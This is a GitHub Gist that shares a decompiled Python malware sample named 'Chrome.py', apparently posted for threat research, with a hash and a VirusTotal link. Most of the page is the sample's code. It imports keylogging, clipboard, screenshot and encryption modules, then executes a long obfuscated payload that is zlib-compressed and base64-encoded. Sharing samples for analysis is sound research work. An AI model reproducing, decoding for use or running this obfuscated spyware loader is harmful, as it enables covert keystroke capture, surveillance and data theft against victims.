Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save JohnLaTwC/638f4f17337337a4afb13b5596ac955b to your computer and use it in GitHub Desktop.
Save JohnLaTwC/638f4f17337337a4afb13b5596ac955b to your computer and use it in GitHub Desktop.
Python based malware
## Sample hash: aaab2536650f72314d9670e1fa75dad6f54ed0cbeb8c0182009c8cdb31cb3d97
## link: https://www.virustotal.com/gui/file/aaab2536650f72314d9670e1fa75dad6f54ed0cbeb8c0182009c8cdb31cb3d97/detection
## uploaded by @JohnLaTwC
## Embedded file name: Chrome.py
try:
import subprocess
from encodings import hex_codec
import re, urllib2, os
import json as simplejson
import json
except Exception as e:
print e
try:
import pyHook, pythoncom, time, sys
import os, thread, threading, shutil, string, random, struct
import base64
from Crypto import Random
from Crypto.Cipher import AES
from ctypes import *
except Exception as e:
print e
try:
import win32clipboard
except Exception as e:
print e
try:
import win32file
except Exception as e:
print e
try:
import win32com.client
except Exception as e:
pass
try:
import win32ui
except Exception as e:
print e
try:
import win32con
except Exception as e:
print e
try:
from PIL import ImageGrab
except Exception as e:
pass
try:
import win32api
from time import strftime
from datetime import date
except Exception as e:
print e
try:
import win32gui
import zlib
except Exception as e:
print e
exec zlib.decompress(base64.b64decode('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